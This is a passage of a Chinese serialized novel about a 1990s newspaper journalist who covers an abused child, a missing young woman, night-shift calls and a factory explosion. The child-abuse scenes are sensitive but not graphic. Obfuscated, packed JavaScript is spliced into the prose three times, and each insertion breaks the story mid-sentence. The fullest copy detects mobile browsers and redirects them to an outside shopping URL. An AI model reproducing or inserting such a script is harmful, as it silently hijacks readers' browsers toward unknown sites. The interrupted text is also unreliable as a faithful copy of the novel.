办公室那台老式电话却比平日更为忙碌。年底时分,各式各样的声音沿着线路涌来。记录本一本接一本地写满,字迹潦草。 十一月二十日,上午九点零三分。叶葆启刚坐下,电话便响了起来。他拿起听筒,先是一段电流的嘶声,接着,一个女人的声音浮了上来,颤抖而压抑: “同志……你们能不能管管……孩子快受不了了……” 那声音里有一种被碾平后的沉寂。 叶葆启心头一紧。“您慢慢说,孩子在哪儿?” “叫梓宸,八岁,住海北区王庄……”女人的声音忽然被一阵急促的呼吸打断,“他爸,和后来进门的……孩子身上……我是偷着打的电话,你们快去……一看就明白了……” “地址请说具体些。” 女人报了个门牌号,声音压得更低:“千万……千万别说是我……说了,我也难办了。” 电话断了。忙音单调地重复。 叶葆启放下听筒,手心微凉。他立刻联系了曹东方,并向相关机构作了通报。下楼找到司机老赵时,雪粒正噼啪敲打着车窗。 “这天气,”老赵一边发动车子一边说,“出这种事,真是让人心里发堵。” 前往王庄的路显得格外漫长。车轮碾过薄冰,发出细碎的声响。路旁的树木枝条裹着冰凌。越往城乡结合部去,景象越是凌乱。雪未能掩盖这里的杂乱,反而让泥泞与杂物显出一种斑驳的脏污。空气里混杂着煤烟与潮湿腐败的气味。 车开不进小巷,两人在路口下车,踩着泥雪深一脚浅一脚前行。找到那个院子时,铁门紧闭,锈迹斑驳,里面静悄悄的。 敲门。先是轻叩,而后加重。过了许久,门后才传来拖沓的脚步声。铁门“吱呀”一声拉开一条窄缝。 一张男人的脸嵌在门缝里。四十多岁模样,胡茬杂乱,眼神浑浊。他穿着一件辨不清本色的棉袄。 “找谁?”声音粗嘎。 叶葆启出示了证件。“我们是记者。接到反映,您家孩子可能需要帮助,我们来了解一下情况。” 男人的脸顿时变了色,混杂着惊怒与难堪。“谁胡说八道?!”他就要关门。 叶葆启用脚抵住门缝。就在这时,屋里传来一声极其微弱的呜咽,细细的,却直刺耳膜。他不知哪来的力气,推门闯了进去。 屋里光线昏暗,窗户被旧报纸糊着。一股复杂的味道扑面而来:烟味、霉味、剩饭菜的气味,还有一种淡淡的药膏味。 靠墙的木板床上,蜷着一小团身影,盖着一条破旧的被子。叶葆启走过去,轻轻掀开被子一角。 他看见了。 事后多年,他都难以完全描述那一刻的所见。那是一个孩子布满伤痕的身体。 孩子察觉到动静,试图往被子里缩,但这个动作显然带来了痛楚。他咧了咧嘴,没出声,眼泪却从肿胀的眼缝里不断涌出。 “梓宸?”叶葆启的声音很轻。 那颗小脑袋极其轻微地点了一下。 “谁……?” 孩子的眼珠飞快地瞥向门口的男人,又缩回来,瞳孔里充满了恐惧。 这时,里屋门帘一挑,一个女人走了出来。她很年轻,烫着蓬松的卷发,穿着鲜红的毛衣,手里拿着一根藤条。看见陌生人,她愣了一下,随即脸上涌起怒意。 “你们是谁?闯人家里干什么?” 叶葆启站起身:“你是孩子的母亲?” “是又怎么样?我管教自己孩子,碍着谁了?”她挥了挥藤条。 “管教?”叶葆启指向床上,“这叫管教?” “你懂什么!”女人声音尖利起来,“这孩子不听话!不该管?” “怎么不听话?有什么依据?” 女人语塞,眼神游移。男人这时挤过来,狠狠推了叶葆启一把:“我家的事,轮不到外人插嘴!出去!” 曹东方上前隔开对方:“我们接到正式反映,有责任了解情况。请你们配合。” 争吵声在这狭小空间里膨胀。就在僵持时,外面传来了人声——相关机构的两位同志,带着一位医生赶到了。医生看到孩子的情况后,脸色立刻严肃起来。 “必须马上送医院检查!”他的声音很紧,“有些伤口需要专业处理!” 男人和女人还想阻拦,但来的同志态度坚决。“孩子我们现在必须带走。请你们配合工作。” 或许是意识到无法阻拦,男人最终侧身让开了路。那一瞬,他脸上闪过一种复杂的、难以解读的神情。 医生小心地用被子裹住孩子,抱了起来。孩子轻得出奇。叶葆启脱下自己的大衣,加盖在外面。孩子的脸靠在大衣领口,眼睛透过肿胀的缝隙,茫然地看着外界。 车上,孩子蜷在叶葆启怀里,不住地发抖。那不是因为寒冷,而是一种从内里透出的战栗。叶葆启轻轻拍着他。过了许久,一个细微的声音响起: “叔叔……我冷……” “就到医院了,那里暖和。” “叔叔……我会不会……” “不会的。”叶葆启尽可能让声音平稳,“医生会帮你。” 孩子不再说话,只是用手紧紧攥住了叶葆启大衣的一角。 医院里,消毒水的气味弥漫。急诊室的灯光明亮。孩子被送去处理伤口,他疼得身体紧绷,却死死咬着嘴唇,不哭出声。 诊断结果陆续出来。医生拿着病历,面色沉重:“营养不良,另外,”他顿了顿,“左侧有两根肋骨是陈旧性骨折,已经愈合了,但没长正。” “愈合了?”曹东方低声重复。 这意味着,骨折发生已有一段时间,在无人知晓的情况下,骨头自己歪斜地长合了。 孩子被送入病房,沉沉睡去。相关同志去办理手续,叶葆启和曹东方站在走廊。窗外的雪还在下。 曹东方点了支烟,手有些不稳。“葆启,咱们见过不少事……可这个……” 叶葆启没说话。他脑海里全是那些伤痕的形状。 医生走出来,摘下口罩,脸上带着疲惫。“情况暂时稳定了。但需要长期治疗,心理上的恢复更不容易。”他看了看两人,“谢谢你们送他来。这样的状况……我们并非第一次见。” 回报社的路上,雪更密了。叶葆启看着窗外流转的街景,感到一种疏离。他的心仿佛也被这场雪覆盖了,空旷而冷。 他必须写。摊开稿纸,笔尖沉重。他写孩子的伤,写父亲口中的“管教”,写那根油亮的藤条,写诊断书上那些名词背后真实的痛楚。写得很慢。 稿子交给陈秉烛主任审阅。老主任看了许久,摘下眼镜,揉了揉眉心。编辑部里只有日光灯管的微响。 “葆启,”陈秉烛终于开口,声音低沉,“这文章发了,动静不会小。” “我知道。” “那家人,可能还有其他人,会来闹。会有压力,甚至麻烦。”陈秉烛目光锐利,“你想清楚了?” “想清楚了。”叶葆启说,“我更怕这孩子白白受苦,怕还有别的孩子陷在这样的境地里,无人知晓。” 陈秉烛盯着他看了几秒,拿起红笔,在稿签上用力划了一个圈,写下二字:照发。 文章次日见报。头版右下角,篇幅不大,却像雪地里一个醒目的印记。 电话从清晨起便响个不停。听筒里传来各种声音:关切的询问,理性的探讨,也有不解的质疑。 一个中年男子的来电,让叶葆启握紧了听筒。那声音平静,甚至带着某种说理的意味: “叶记者,你写是容易。你知道重组家庭有多难?管严了,说你是苛待;管松了,又说你不负责。孩子要是真学坏了,将来问题更大,谁承担?老话说‘严是爱’,总有道理。” 叶葆启克制着情绪,对着话筒一字一句回应: “先生,教育有很多方法。暴力,尤其是造成伤害的暴力,是最不可取的一种。您不妨看看文章里描述的伤情。” 电话那头沉默片刻,挂断了。 上午十点多,前台来电,声音紧张:“叶记者,那孩子的父母来了,在门口,情绪激动。” 叶葆启下楼。报社玻璃门外围着些人。那对夫妻被保安拦着,正在激动地说着什么。男人看见叶葆启,眼睛立刻红了,往前冲又被拦住。 “你写的什么文章!你让我们怎么见人!”男人嘶吼着,“我跟你没完!” “国师傅,”叶葆启站定,声音清晰,“让你们难堪的,是我的文章,还是孩子身上的伤?” 男人的咆哮噎住了,脸涨得通红,胸膛起伏,却说不出话。 女人在旁边哭喊起来:“我们知道不对了!我们改!你非要登报,让所有人都指责我们!孩子以后怎么办?” 叶葆启转向她:“你们当初动手的时候,想过孩子的‘以后’吗?他才八岁。” 围观的人群中传来议论声。两人的气势渐渐萎顿。男人狠狠瞪了叶葆启一眼,那眼神复杂难言,然后拽着女人,低头挤开人群,踉跄离去。 叶葆启没有感到轻松。这里没有赢家。 下午,他去了医院。梓宸醒着,脸上的纱布让他看起来像个静默的小雕塑。看到叶葆启,他眼里似乎微弱地亮了一下。 “叔叔……” “好些了吗?” “嗯……”孩子小声应道,停了停,“这里……比家里好。” “家里不好吗?” “家里……总是疼。这里……只有伤口疼。” 叶葆启在床边坐下,拿起一个苹果慢慢削着。 “会有叔叔阿姨来帮你。”他轻声说。 孩子沉默了很久。忽然,他问: “爸爸……会被带走吗?” 叶葆启的手微微一颤。“……可能会。他做了很不对的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚饭时,叶葆启食不知味。妻子看着他,轻声问:“是不是……那孩子情况不好?还有别的发现?” 叶葆启抬起头,看着妻子关切的眼睛。他感到一种强烈的疲惫,以及某种难以言说的浑浊感。他张了张嘴,最终艰难地点了点头。 妻子从他的脸色和眼神中明白了什么。她手里的汤勺轻轻落在桌上,捂住嘴,眼中充满了惊骇与泪意。 “怎么会……怎么有人能这样……” “我不知道,”叶葆启声音沙哑,“人心的暗处,到底能有多深。” 夜里,他彻底失眠。一闭眼,便是交错伤痕,是畸形愈合的肋骨形状,是孩子带泪的眼睛,是护士长那沉重的一瞥。他起身开灯,翻开本子,笔尖悬在纸上,颤抖良久。 终于,他写道: “一九九五年冬月廿一。雪未融。 今日我记下一个孩子。他八岁,名叫梓宸。 他的父亲称那是‘管教’。他的继母称那是‘教训’。他们在这个小小的身体上,留下了各种印记。 我写了很重的文章。心像浸透了冰水,又冷又硬。 医护人员告知,伤情有疑。那疑云比所有可见的伤痕更沉。我站在医院走廊,感到无声的雷在胸腔震动。 何为‘家’?门扉之内,有时竟是哭声传不出的孤岛。旁人听见,或侧目,或沉默,皆遵从那古老的默契:‘家务事,外人莫问’。于是,许多事在沉默中滋长。 陈主任说,记者需有直面真实的勇气。今日,我直面了。撕开的,何止是体面?更是温情表象下的暗影,或许,还有我对人性底线残存的估量。 那景象我不愿再见,但我必须记录。因为若不记,不写,不呼喊,那孩子与许多如他一般的孩子,便永远被锁在门后的暗处,被‘家’之名悄然吞噬。 这是我的职责,亦是我的负重。笔重千钧,写下的每一字,或许都是叩向暗门的一声响。未必能破门,但至少,让内外皆知:光在外等候,暗中有事发生。 路长雪夜漫。然雪停之后,总有些印记会显露。有些伤,须见天日,方有愈合之始——纵使那愈合,终究带着难以磨平的痕迹。” 写完,他搁下笔,仿佛耗尽力气。走到院中,寒风刺骨,却让人清醒。雪早已停了,地上一片均匀的白,映着朦胧夜色。天空是深厚的靛蓝,几颗星子微弱闪烁。 他仰头深吸一口冷气,寒意直透肺腑。远处,不知何处的火车拉响汽笛,声音悠长苍凉,穿透寂静雪夜,奔向前方的黑暗或黎明。 明日,雪将化,路会更泥泞。他还要去医院,面对孩子的眼睛;还要去该去之处,了解进展;还要写后续,追问制度与人心。 这条路,并非黑白分明,多是深浅不一的灰。但他得走下去。带着这支笔,带着这点不肯熄灭的微光。 因为,总得有人,记住这雪的冷,与那些看不见的伤痕。 16. 第016章 寻找郭娟 腊月的内海,年味像一锅熬过头的糖浆,稠得化不开,甜得发腻。街巷里的彩灯不是挂上去的,是从天上长出来的——那些红的、绿的、黄的灯泡,在朔风里一明一灭,像无数只疲倦的眼睛,眨巴着看这人间的热闹。商店喇叭里,“恭喜发财”唱了千百遍,唱得词儿都软了、化了,变成甜腥腥的雾,裹着每一个行人。人们提着年货在雾里走,脸是笑着的,笑里却透出某种被年关催赶的慌张。 叶葆启值白班。办公室的窗玻璃上,赵宛芳剪的那只公鸡活过来了——每天清晨,它能喔喔地叫上三声,羽毛在日光下泛起金红色的光,冠子抖得簌簌响。桌上的水仙也不安分,那些嫩绿的花苞夜里会悄悄开放,吐出带着铁锈味儿的香气。这屋子里的一切都有了魂儿。 电话是上午十点响的。铃声尖利,刺穿了年味的甜腻。叶葆启接起来,听见电流嘶嘶作响,夹杂着一个女人从很远很远地方飘来的声音——像是从地缝里钻出来的,又像是从水底浮上来的: “记者同志……我女儿丢了……她叫郭娟……” 声音里带着南方的湿气,黏糊糊的,每个字都像在梅雨天里浸泡过,沉甸甸地砸在听筒上。 “您慢慢说。” “她二十一岁,在内海打工……幼儿园教师……上个星期还说回家过年……电话打不通了……” 女人开始哭。那哭声很怪,不是从喉咙出来的,是从骨头缝里渗出来的,嘶啦嘶啦的,像破风箱。叶葆启握着话筒的手心出了汗。他在记录本上写:郭娟,二十一岁,南方人,德盛幼儿园。笔尖划破纸页,墨水洇开来,像一滴黑色的泪。 记录到“十二月十五日失联”时,窗玻璃上的公鸡突然不叫了。它转过头,用滚圆的眼珠子盯着叶葆启,眼神里有种说不清的悲悯。 老赵开车去小盐地。路上堵得厉害,车流像一锅煮僵了的饺子,黏在一起动弹不得。老赵按喇叭,喇叭声被年货的甜雾吸走了,闷闷的,发不出劲。叶葆启看见车窗外,有个卖糖葫芦的老头,稻草把子上的糖葫芦红得发亮,亮得瘆人——每一颗山楂都是一只眼睛,滴溜溜地转,看着这停滞的车流,看着车里焦急的人。 德盛幼儿园的园长秃顶,头顶油光光的,能照见人影。他说话时,头顶的光晕一圈圈荡开,像投石入水。“郭娟请假了……说要回家……”他的声音在光晕里变形,变得飘忽不定。 女教师宿舍在幼儿园后面,是栋简易楼。楼梯会呼吸——人踩上去,它就呻吟;人停下来,它就叹息。郭娟的宿舍在二楼,门开着,像一张欲言又止的嘴。 小王在收拾东西。她很瘦,眼睛大得不成比例,眼白多于眼黑,看人时像两颗浸在水里的玻璃弹珠。她说郭娟有个男朋友,“穿皮衣,骑大摩托,摩托车排气筒喷出的烟是蓝色的,有股烧焦头发的味道”。 叶葆启翻郭娟的纸箱。衣服是普通的衣服,书是普通的书,但相册不普通——那些照片会动。在幼儿园门口那张,郭娟的工装下摆在风里微微飘;在河边那张,她的长发真的在飘,一缕一缕,像水草;全家福里,三个人都在笑,笑着笑着,父母的眼角淌下泪来,泪珠在相纸上凝住,变成透明的琥珀。 笔记本的最后一页,那行字在跳:“她说带我去北京,看天安门。我要不要信?”每个字都长了细小的脚,在纸页上爬来爬去,最后排成一个问号的形状,那个点特别黑,黑得像深渊。 小王哭了。她的眼泪不是水,是细小的珍珠,滚落在地上,叮叮当当响。叶葆启捡起一颗,放在手心,珍珠里映出郭娟的脸——惊恐的,张着嘴,在喊什么,但没有声音。 报案后的第三天,全城的寻人启事都活了。报纸上郭娟的照片,眼睛会眨泪花;电台里念出的名字,会在夜空里凝成发光的字,飘一会儿才散;电视台播的画面更奇——郭娟从屏幕里走出来,在每户人家的客厅里站三秒,说“我想回家”,然后化成一缕烟。 出租车司机打来电话时,叶葆启正在吃午饭。筷子夹起一根豆芽,豆芽忽然扭动起来,变成一条透明的小蛇,嘶嘶地说:“火车站……她去火车站了……” 内海站的监控录像里,郭娟在出站口等人。她穿着照片里那件浅蓝色外套,但外套的颜色在监控里不断变化——蓝变灰,灰变白,最后变成透明的,能看见她身体里心脏在跳,一跳,一跳,跳得很急。那个五十岁的女人出现了,穿得很好,但衣服的料子不对——那不是布,是无数细小的鳞片,走动时哗啦哗啦响。她们上了出租车,车开走时,排气管喷出的烟也是蓝色的,和小王说的一样。 七里乡的出租屋里,叶葆启捡起撕成两半的身份证。碎片在他手里颤抖,像垂死的蝴蝶。他把它们拼在一起,郭娟的脸浮现出来,嘴唇动了动,说出两个字:“西郊。” 声音很轻,但每个人都听见了。 废弃工厂的铁门生了厚厚的锈,那些锈渍是有生命的——它们组成各种人脸,哭的,笑的,狰狞的,麻木的。警察破门时,锈渍哗啦啦往下掉,落在地上变成黑红色的蚂蚁,四散逃开。 郭娟被关的小房间没有窗,但墙上有光。光是从砖缝里渗出来的,青白色的,冷冷的,照着她蜷缩的身体。她的手脚被绑着,胶带封着嘴,但眼睛是睁着的——那双眼成了两个小小的镜面,映出每一个进来的人,映出屋顶,映出墙,映出这房间里所有的悲苦。 胶带撕开时,发出皮肉剥离的声音。郭娟的嘴张了张,没有声音出来,却飞出一只蛾子。蛾子灰扑扑的,在房间里扑腾,最后停在叶葆启肩头,翅膀一开一合,合上是“救”,开上是“我”。 赵翼蹲在墙角。警察问她话,她不答,只是笑。笑着笑着,嘴里吐出东西来——先是纽扣,然后是发卡,最后是一张折叠的小纸条。纸条上写着一行地址,正是这个废弃工厂。 救护车的笛声像哭。郭娟被抬上车时,天空开始下雪。雪花不是白的,是浅蓝色的,每一片都呈六角形,中心有个小小的旋涡,旋涡里是郭娟家乡的影像——水田,竹林,炊烟,母亲站在村口眺望。 医院里,郭娟的母亲赶来了。母女相拥时,病房里所有的仪器都停了——心电图变成一条平静的直线,输液管里的药液倒流,时钟的指针逆向旋转。时间在这一刻允许了小小的回溯,回到她们分别前的那个清晨,母亲为女儿梳头,木梳齿划过长发,沙沙的,像春蚕食叶。 郭娟出院那天下着雨。雨滴落在她手心里,不散,凝成一颗颗水珠,每颗水珠里都有一个完整的内海——高楼,街道,车流,还有那无数闪烁的彩灯。她把水珠拢在手心,贴在胸口。 “我还会回来的。”她说,声音很轻,但很坚定。 送走母女,叶葆启回到报社。那盆水仙开花了,花朵不是白的,是透明的,能看见花蕊里细小的脉络,像人体的毛细血管。赵宛芳剪的公鸡从窗玻璃上走下来,在办公室里踱步,爪子踩在地上,发出嗒嗒的轻响。 夜里写稿时,钢笔自己动了。它在纸上写:“1995年12月25日。寻找郭娟,七天,找到了。”字迹是深蓝色的,微微发光。叶葆启看着那些字,看见字里行间浮出画面——出租车司机深夜对着对讲机呼喊,房东在租客登记簿上反复翻找,民警的手电光在废墟里交织成网,市民们仰头看夜空里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这座城市在寻找中显形了它的骨骼——那不是钢筋水泥,是无数双手编织的网,是无数双眼睛照出的光。记者不过是网上的一根线,光里的一束,但缺了这根线,网就破个洞;少了这束光,暗处就更暗。 陈主任说得对,笔是桥。但桥下流着血,桥上走着魂。我们建的每座桥,都渡一些人,也映出一些人的倒影——那些倒影在水里扭曲、变形,但始终跟着,提醒着:此岸即彼岸,失者即寻者。 郭娟回家了。但还有多少郭娟在夜里走失?还有多少母亲在远方哭?哭声会凝结成盐,落在内海的土壤里,明年春天,这些盐会长出什么?也许是更亮的灯,也许是更密的网。 我不知道。 我只知道,今夜雪停时,窗外的彩灯格外亮。那些眼睛一样的灯泡,眨着眨着,流出温热的、琥珀色的光。光滴在地上,积成浅浅的水洼,水洼里映出整座城市的倒影——倒立的内海,楼房向下生长,街道通向星空,人们头朝下行走,但每个人都笑着。 在这个倒置的世界里,所有丢失的,都在高处;所有寻找的,都成了星辰。” 写到这里,钢笔停了。墨水瓶里浮起一个气泡,气泡里是郭娟和母亲坐在南行列车的画面。列车穿过夜色,车窗亮着,像一串移动的星。 叶葆启合上本子,走到窗前。 平安夜的钟声从很远的地方传来,一声,一声,撞在年味的甜雾上,撞出涟漪。涟漪荡开,所到之处,彩灯的眼睛慢慢闭上,街道沉入睡眠,整座城市在梦里继续寻找——寻找所有还未归家的孩子,所有还在路上的团圆。 他站了很久,直到东方既白。 新的一天来了,带着腊月特有的清冽寒气。街上开始有人走动,脚步声嗒嗒的,像时钟在走。 又有人会失踪。 又有人会寻找。 而他的笔,会在纸上长出根须,伸向那些需要光的角落。 这是宿命,也是选择。 是记者的魔,也是记者的实。 在魔与实的交界处,故事活着,人回家。 17. 第017章 夜谭录 正月十五的月光,肥白如一块凝固的猪油,腻腻地糊在内海城的上空。街道两侧的灯笼还红着眼,像是守夜人熬透了的血丝。爆竹的残骸在巷口堆成小小的坟冢,硫磺气味混着隔夜的酒气,在寒夜里发酵成一种古怪的甜腥。 夜间记者站的窗玻璃上,水汽凝成蜿蜒的纹路,像谁用指甲在深夜的皮肤上划下的密语。八点钟,叶葆启和解平生对坐在墨绿色的值班桌前,中间那碗汤圆正吐出最后一缕白汽。黑芝麻馅的香气稠得化不开,竟在灯光下显出乌金的色泽。 解平生咬开汤圆的瞬间,褐色的馅料涌出,烫得他倒吸一口凉气。“葆启,你家素琴这手艺——”他话未说完,那台红色电话突然震颤起来,铃声尖锐得像被掐住脖子的夜枭。 电话那头的声音劈开夜色:“记者!你们管不管!楼下那家KTV,把《我真的还想再活五百年》唱成了招魂曲!三个钟头了!三个钟头!” 叶葆启握笔的手指微微发白。他记录时,能听见自己的心跳在耳膜上敲击,咚,咚,咚,与墙上那只老式挂钟的摆锤合上了拍子。挂钟玻璃后面,黄铜的钟摆永远在同一个幅度里摆动,左,右,左,右,像个被催眠的囚徒。 十点多,短暂的寂静如同潮水退去后露出的滩涂。解平生翻动值班记录本,纸页摩擦的沙沙声里,他忽然说:“葆启,咱们这夜班,像不像在给这座城市守灵?” 叶葆启没答话。他看见茶杯里浮沉的茶叶梗,在灯光下扭动着,竟渐渐聚成一张模糊的人脸——是去年冬天那个寻亲老人的面孔。他眨了眨眼,幻象消失了,只剩茶叶梗还在一沉一浮。 “写吧。”叶葆启听见自己的声音从很远的地方传来,“把夜里这些事写下来,让白昼里的人看看,黑暗里到底游荡着什么。” 笔尖触到稿纸的刹那,那些夜晚的记忆像地底的暗河突然决了口,汹涌而出。 他想起了刘清——那个自称赵四小姐侄女的女人。她的脸在记忆里已经模糊,只剩那双眼睛,瞳孔深处燃着两簇幽蓝的火,仿佛要把自己编造的身世也烧成真的。她说话时,嘴角会不自觉地抽搐,像是有什么东西在皮囊下蠕动,想要破茧而出。 还有郭熠轩送锦旗那天。那面红绸旗在日光灯下展开时,竟无风自动,边缘的金色流苏像活过来的触须,轻轻拂过桌面。锦旗上“为民解忧”四个大字,墨迹浓得发黑,叶葆启盯着看久了,竟觉得那笔画在缓缓流淌,要滴下血来。 最离奇的是那对青蛙。毛纺厂工会的小乔打来电话时,声音里憋着笑:“叶记者,您得来一趟,这儿有两口子抱在一起分不开了。”等赶到时,才知是夜间□□的青蛙被错认成了连体人。那对青蛙在玻璃缸里,肚皮贴着肚皮,眼睛圆睁着望向上方,仿佛在进行某种庄严的仪式。它们的皮肤在灯光下泛着诡异的油绿,像涂了一层薄薄的尸蜡。 叶葆启写到这里,笔尖顿了顿。他抬头看向窗外,夜色浓稠得可以用刀切割。远处河面上的航标灯,一闪,一闪,像这座城市沉睡中的独眼,半睁着,窥视着黑暗里的一切。 他继续写那辆摩托车。骑了十年的铁家伙,排气管的声音像患了痨病的老人咳嗽。车头灯照出的光柱里,尘埃飞舞,竟有时会聚成奇怪的人形,又在下一刻散开。有一次深夜出勤,车子在荒僻路段突然熄火,怎么都打不着。他嘟囔着下了车,围着摩托转了三圈,对着排气管踢了一脚,骂了句粗话。车子竟真的重新发动了,尾灯红得像刚滴下的血。 凌晨三点,稿子写完了。解平生凑过来看,他的影子在墙上拉得很长,头顶几乎要触到天花板。影子扭动着,仿佛有自己的生命。 “写得好。”解平生的声音有些嘶哑,“咱们就是夜里睁着的眼睛。” 文章刊出的那个早晨,叶葆启做了个梦。梦见自己变成了一只夜蛾,在泛黄的报纸字缝里爬行。那些铅字突然活了,伸出细小的黑色触手,要把他拽进纸页深处。他挣扎着醒来,发现阳光已经透过窗帘缝隙,在水泥地上切出一块明亮的伤疤。 反响来得比想象中凶猛。 电话铃声不再是刺耳的尖叫,而是变成了一种温柔的嗡鸣。有个老妇人的声音从听筒里飘出:“叶记者,我读了你们的文章,哭了半宿。我儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904169|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子也值夜班,在火葬场……”她的声音渐渐低下去,变成一阵压抑的啜泣,像地穴深处传来的风声。 读者来信堆满了办公桌的角落。叶葆启拆开其中一封,信纸是小学作业本撕下来的,字迹歪斜如醉汉的脚步。信里夹着两片干枯的银杏叶,叶脉在阳光下清晰得可怕,像老人手背上的青筋。信末写着:“我夜里总听见墙里有声音,读完你们的文章,才知道那可能是水管在哭。” 最诡异的是一个没有署名的包裹。打开层层包裹的报纸,里面是一尊泥塑的夜游神,面目狰狞,眼睛处镶着两粒黑色的玻璃珠。泥塑底座刻着一行小字:“愿君长明。” 素琴看到这尊泥塑时,脸色突然变得苍白。“这东西邪气重,”她低声说,“得送走。” 叶葆启把它放在窗台上,正对着外面的夜色。月光照在泥塑上,玻璃眼珠竟反射出幽冷的光,仿佛真的在注视着什么。 那晚值班,孙荣显接了个奇怪的电话。电话那头只有沉重的呼吸声,持续了整整三分钟,然后咔哒一声挂断了。孙荣显放下听筒,发现自己的手心全是汗,湿漉漉的,像刚摸过什么冷血动物的皮肤。 叶葆启在他的采访本上记下最后一笔: “1996年2月26日。《夜谭录》刊出后,白日与黑夜的界限开始模糊。读者来信如潮,有人在信纸上画满眼睛,有人寄来晒干的蝉蜕。始知真实一旦被说出,便会长出触角,伸向不可知处。我们记录的每个夜晚,都在反噬我们自身。电话线是脐带,连接着这座城市的子宫,而我们,是接生婆,也是祭品。笔在纸上留下的不仅是墨水,还有我们灵魂渗出的汁液。愿这汁液能浇灌出什么,哪怕只是一株在黑暗里开花的植物。” 写完,他感到一阵莫名的疲惫,仿佛刚刚把自己的某一部分也写进了纸里。窗外的天色正在变淡,从墨黑褪成深灰,再褪成鱼肚白。新的一天要来了,而夜晚的故事,永远在暗处发酵,等待下一个执笔人,揭开又一层皮肤。 泥塑夜游神在晨光中保持着不变的姿态,只有那对玻璃眼珠,似乎在极微小的角度里,转动了一毫。 18. 第018章 跳舞的灰烬 这一年的春天,像是个踌躇的客人,来了又退。进了三月,一场回马枪似的寒潮,卷着细碎的雪沫子,再次拜访内海。雪落在刚探头的草芽上,顷刻化开,渗进土里,留下一片洇湿的凉意。空气里浮荡着陈旧的硝石味儿——那是过年未散尽的鞭炮余韵,混着大地返潮时泛起的、沉郁的土腥。 三月八日,妇女节。下午三点钟光景,叶葆启在办公室整理那些卷宗。窗外的天,是一块吸饱了水的旧棉絮,沉甸甸地压着屋檐。预报说,夜里有雨。 忽然,桌上那部老式电话机猛地响了起来,铃声急促。叶葆启心头无端一紧,抓起听筒。 “叶记者!了不得……出事了!”电话那头的声音,急促而沙哑,听不出具体是谁,只知道情况紧急,“北郊……铝材厂!出大事了!现场……需要报道!你们快……快来!” “具体方位?情况怎么样?”叶葆启急问,手下意识地向旁边的解平生、曹东方示意。 “铝材厂!具体情况还不清楚,好多车都过去了!快啊!”话音未落,听筒里已是一片忙音。 “北郊铝材厂,紧急情况!”叶葆启撂下电话,一把捞起采访包和相机,“找摄影记者,让他直奔现场!阿东,你守着,跟陈主任汇报!老赵——备车!” 吉普车冲出报社大院。老赵把车开得飞快,喇叭声撕开午后昏沉的街道。叶葆启坐在副驾,手指紧紧抠着帆布包带子。铝材厂……他的脑海里,浮现出童年看打铁花的情景:通红的铁水泼向夜空,璀璨,却带着灼热的气息。 车还未出城,远远的,北边天际,便看见一股粗壮的黑烟拔地而起。那烟柱扭曲着,翻滚着,直插铅灰色的云层。烟的下端,隐约透着一种暗沉的红。风把那气味送过来——焦糊的、混合着异样的金属气息。这味道粘在鼻腔里,挥之不去。 通往厂区的路,已布满了各色车辆。闪烁的灯光交织一片。老赵亮出证件,路口执勤的人员看了一眼,眼神凝重,挥挥手:“注意安全!只能到指定区域!” 厂门有些歪斜。围墙塌了一段,豁口处,景象触目惊心。一栋三层楼车间,半边已然损毁,裸露出参差的钢筋。水泥预制板散落各处。空地上,扭曲的铝材泛着冷光,炸飞的机器零件散落四处。几辆卡车的残骸还在冒烟。 消防水龙带在地上蜿蜒,嘶嘶喷吐着水柱。水砸在尚有烟气的废墟上,腾起白汽,雾腾腾的,笼罩一切。人影在雾里晃动,橙色的救援服,白色的医护褂,深色的制服……他们奔跑,呼喊,抬着担架。声音混杂在火焰的毕剥声、水流的哗啦声、对讲机里的短促指令声中。 叶葆启脚下发虚,踩着的仿佛不是实地,而是厚厚的灰烬。他深吸一口气,那空气浑浊而滞重。他举起相机,取景框里,世界被切割成一块块碎片:崩裂的墙体,一张沾满灰渍、眼神茫然的脸,担架上覆盖的布料,救援人员弓着的、疲惫的脊背…… “葆启!”摄影记者到了,脸色发白,手里相机却已咔咔作响,“这……这情况太严重了……” 叶葆启无言,只点了点头,目光扫向那顶蓝色的临时指挥帐篷。里面的人,个个面色沉重,嘴唇紧抿。空气凝滞。 “初步判断,是熔炼车间出了状况。原因……还在调查。当时车间里,有不少工人……”一个脸上带着擦伤的技术人员,声音沙哑。 “现在……已经确认的伤亡情况,还在统计。还有……还有人可能被埋在下头……”厂长是个五十多岁的汉子,此刻身子佝偻着,脸上黑灰混着汗迹。 叶葆启觉得胸口发闷。身后,警戒线外,传来压抑的哭声和呼唤。那是闻讯赶来的家属。有人瘫软在地;有人双手死死抓着栏杆,脖子伸得老长,目光试图穿透那片废墟,一声声呼唤撕裂了空气。 一个年轻女人,怀里抱着个襁褓,孩子哭着,她却只是怔怔地望着那片冒着白汽的废墟,嘴唇微微翕动。叶葆启隐约记得她,去年工会联欢好像见过。她男人是厂里的焊工。 女人看见叶葆启胸前的记者证,眼睛骤然睁大。她上前几步,声音颤抖:“记者同志!我男人……他在里头!你……你帮忙看看!看看啊!”她的手冰凉,紧紧抓着他的胳膊。 叶葆启反手握住那双颤抖的手,重重点头,喉咙发紧:“我……我会关注。你,顾好孩子。” 他转身,走向那片雾气更浓的区域。救援还在继续,人们用工具,也用手,在瓦砾堆里小心清理。不时有破碎的工装、变形的安全帽被找出来,每一样,都让气氛更加沉重。 